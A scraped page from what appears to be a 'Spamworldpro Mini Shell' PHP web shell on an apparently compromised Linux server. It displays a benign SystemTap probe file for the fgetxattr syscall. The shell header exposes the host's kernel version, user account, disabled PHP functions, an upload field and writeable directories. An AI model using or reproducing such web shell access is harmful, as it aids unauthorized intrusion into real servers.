Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/rh/gcc-toolset-11/root/usr/share/systemtap/tapset/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/rh/gcc-toolset-11/root/usr/share/systemtap/tapset/linux/sysc_fgetxattr.stp
# fgetxattr __________________________________________________
# ssize_t sys_fgetxattr(int fd, char __user *name,
# 		void __user *value, size_t size)

@define _SYSCALL_FGETXATTR_NAME
%(
	name = "fgetxattr"
%)

@define _SYSCALL_FGETXATTR_ARGSTR
%(
	argstr = sprintf("%d, %s, %p, %u", filedes, name_str, value_uaddr, size)
%)

@define _SYSCALL_FGETXATTR_REGARGS
%(
	filedes = int_arg(1)
# 'name2' should have been 'name_str'.  Deprecate the old name.
%(systemtap_v <= "1.4" %?
	name2 = user_string_quoted(pointer_arg(2))
	name2_unquoted = user_string_nofault(pointer_arg(name2))
%)
	name_str = user_string_quoted(pointer_arg(2))
	name_str_unquoted = user_string_nofault(pointer_arg(2))
	value_uaddr = pointer_arg(3)
	size  = ulong_arg(4)
%)

@define _SYSCALL_FGETXATTR_REGARGS_STORE
%(
        if (@probewrite(filedes))
          set_int_arg(1, filedes)

%(systemtap_v <= "1.4" %?
	if (@probewrite(name2_unquoted))
	  set_user_string_arg(pointer_arg(2), name2_unquoted)
%)

	if (@probewrite(name_str_unquoted))
	  set_user_string_arg(pointer_arg(2), name_str_unquoted)

	if (@probewrite(value_uaddr))
	  set_pointer_arg(3, value_uaddr)

	if (@probewrite(size))
	  set_ulong_arg(4, size)
%)

probe syscall.fgetxattr = dw_syscall.fgetxattr !, nd_syscall.fgetxattr ? {}
probe syscall.fgetxattr.return = dw_syscall.fgetxattr.return !, nd_syscall.fgetxattr.return ? {}

# dw_fgetxattr _____________________________________________________

probe dw_syscall.fgetxattr = kernel.function("sys_fgetxattr").call
{
	@_SYSCALL_FGETXATTR_NAME
	filedes = __int32($fd)
# 'name2' should have been 'name_str'.  Deprecate the old name.
%(systemtap_v <= "1.4" %?
	name2 = user_string_quoted($name)
%)
	name_str = user_string_quoted($name)
	value_uaddr = $value
	size = __ulong($size)
	@_SYSCALL_FGETXATTR_ARGSTR
}
probe dw_syscall.fgetxattr.return = kernel.function("sys_fgetxattr").return
{
	@_SYSCALL_FGETXATTR_NAME
	@SYSC_RETVALSTR($return)
}

# nd_fgetxattr _____________________________________________________

probe nd_syscall.fgetxattr = nd1_syscall.fgetxattr!, nd2_syscall.fgetxattr!, tp_syscall.fgetxattr
  { }

probe nd1_syscall.fgetxattr = kprobe.function("sys_fgetxattr") ?
{
	@_SYSCALL_FGETXATTR_NAME
	asmlinkage()
	@_SYSCALL_FGETXATTR_REGARGS
	@_SYSCALL_FGETXATTR_ARGSTR
}

/* kernel 4.17+ */
probe nd2_syscall.fgetxattr = kprobe.function(@arch_syscall_prefix "sys_fgetxattr") ?
{
	__set_syscall_pt_regs(pointer_arg(1))
	@_SYSCALL_FGETXATTR_NAME
	@_SYSCALL_FGETXATTR_REGARGS
	@_SYSCALL_FGETXATTR_ARGSTR
},
{
        %( @_IS_SREG_KERNEL %? @_SYSCALL_FGETXATTR_REGARGS_STORE %)
}

/* kernel 3.5+, but undesirable because it affects all syscalls */
probe tp_syscall.fgetxattr = kernel.trace("sys_enter")
{
	__set_syscall_pt_regs($regs)
	@__syscall_compat_gate(@const("__NR_fgetxattr"), @const("__NR_compat_fgetxattr"))
	@_SYSCALL_FGETXATTR_NAME
	@_SYSCALL_FGETXATTR_REGARGS
	@_SYSCALL_FGETXATTR_ARGSTR
},
{
        %( @_IS_SREG_KERNEL %? @_SYSCALL_FGETXATTR_REGARGS_STORE %)
}

probe nd_syscall.fgetxattr.return = nd1_syscall.fgetxattr.return!, nd2_syscall.fgetxattr.return!, tp_syscall.fgetxattr.return
  { }
  
probe nd1_syscall.fgetxattr.return = kprobe.function("sys_fgetxattr").return ?
{
	@_SYSCALL_FGETXATTR_NAME
	@SYSC_RETVALSTR(returnval())
}

/* kernel 4.17+ */
probe nd2_syscall.fgetxattr.return = kprobe.function(@arch_syscall_prefix "sys_fgetxattr").return ?
{
	@_SYSCALL_FGETXATTR_NAME
	@SYSC_RETVALSTR(returnval())
}
 
/* kernel 3.5+, but undesirable because it affects all syscalls */
probe tp_syscall.fgetxattr.return = kernel.trace("sys_exit")
{
	__set_syscall_pt_regs($regs)
	@__syscall_compat_gate(@const("__NR_fgetxattr"), @const("__NR_compat_fgetxattr"))
	@_SYSCALL_FGETXATTR_NAME
	@SYSC_RETVALSTR($ret)
}

Spamworldpro Mini